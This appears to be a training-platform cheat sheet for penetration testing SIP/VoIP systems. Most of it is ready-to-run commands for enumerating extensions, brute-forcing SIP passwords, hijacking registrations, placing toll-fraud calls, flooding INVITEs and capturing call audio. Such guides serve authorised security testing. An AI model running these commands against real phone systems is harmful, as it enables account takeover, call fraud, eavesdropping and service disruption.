Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

SIP and VoIP

Default Ports: 5060 (SIP), 5061 (SIP over TLS)

SIP is used by VoIP phones, PBXs, trunks, and call platforms. In pentests, SIP can expose extensions, weak phone credentials, call routing abuse, voicemail access, and PBX management weaknesses.

Connect

Using SIPVicious

SIPVicious is commonly used for SIP scanning and extension enumeration.

svmap target.com
svwar -m INVITE target.com
svwar -m REGISTER target.com

Using sipsak

sipsak sends SIP requests and checks server behavior.

sipsak -s sip:target.com
sipsak -vv -s sip:1000@target.com
sipsak -U -s sip:target.com

Using Linphone

A SIP softphone validates registration and call behavior with approved accounts.

linphonec
register sip:1000@target.com target.com password
call sip:1001@target.com

Using TLS

SIP over TLS should be checked for certificate and protocol issues.

openssl s_client -connect target.com:5061 -servername target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com

Recon

Service Detection with Nmap

Scan UDP, TCP, and TLS SIP ports.

nmap -sU -sT -p 5060,5061 -sV target.com
nmap -sU -p 5060 --script sip-methods,sip-enum-users target.com
nmap -p 5061 --script ssl-cert,ssl-enum-ciphers target.com

SIP Method Discovery

Allowed methods reveal proxy, registrar, and PBX behavior.

nmap -sU -p 5060 --script sip-methods target.com
sipsak -vv -s sip:target.com

PBX Fingerprinting

Headers and error messages often reveal Asterisk, FreePBX, Kamailio, or Cisco systems.

svmap target.com
sipsak -vv -s sip:invalid@target.com

Enumeration

Extension Enumeration

Extension enumeration identifies valid users, phones, and voicemail targets.

svwar -m REGISTER -e1000-9999 target.com
svwar -m INVITE -e1000-9999 target.com
svwar -m OPTIONS -e1000-9999 target.com

Registration Check

Registration behavior can reveal valid extensions and authentication responses.

sipsak -vv -s sip:1000@target.com
sipsak -vv -s sip:9999@target.com

User and Trunk Discovery

Look for predictable extension ranges and trunk usernames.

svwar -D extensions.txt target.com
svwar -D users.txt -m REGISTER target.com

RTP Discovery

RTP media ranges may expose audio streams if not protected.

nmap -sU -p 10000-20000 target.com
rtpbreak -i eth0

Attack Vectors

Weak SIP Credentials

SIP phones often use numeric extensions and weak PIN-style passwords.

svcrack -u 1000 -r passwords.txt target.com
hydra -s 5060 -U -L users.txt -P passwords.txt target.com sip

Registration Hijacking

Valid SIP credentials can register a softphone as another extension.

linphonec
register sip:1000@target.com target.com password

Toll Fraud

Authenticated SIP access may allow outbound call abuse.

sipsak -s sip:+15551234567@target.com -a password -U -f invite.txt

Voicemail Access

Voicemail systems often use weak PINs or extension-based defaults.

svwar -D voicemail-extensions.txt target.com

SIP Invite Flooding

DoS tests must be explicitly scoped because voice systems are sensitive.

inviteflood eth0 target.com 1000 target.com 100

RTP Eavesdropping

Unencrypted RTP may expose call audio on local networks.

rtpbreak -i eth0
wireshark

Post-Exploitation

Call Path Review

Document reachable extensions, trunks, and dial patterns.

svwar -m REGISTER -e1000-9999 target.com > sip-extensions.txt
grep -Ei 'trunk|outbound|international|voicemail' sip-extensions.txt

Credential Reuse Check

Validate whether SIP credentials work on PBX portals or voicemail.

netexec http target.com -u users.txt -p passwords.txt

Evidence Collection

Collect banners, valid extensions, and scoped authentication evidence.

svmap target.com > sip-map.txt
svwar -m REGISTER -e1000-9999 target.com > sip-users.txt

Useful Tools

ToolPurpose
sipviciousSIP scanning and brute force
sipsakSIP request testing
nmapSIP service detection
linphonecSoftphone testing
hydraCredential testing
rtpbreakRTP capture analysis
WiresharkSIP/RTP packet analysis

Security Misconfigurations

MisconfigurationRisk
Extension enumerationUser and phone discovery
Weak SIP passwordsRegistration hijacking
Exposed PBXVoice infrastructure attack surface
Unrestricted outbound callsToll fraud
Weak voicemail PINsVoicemail compromise
Unencrypted RTPCall audio exposure
SIP over UDP exposed broadlyBrute force and scanning risk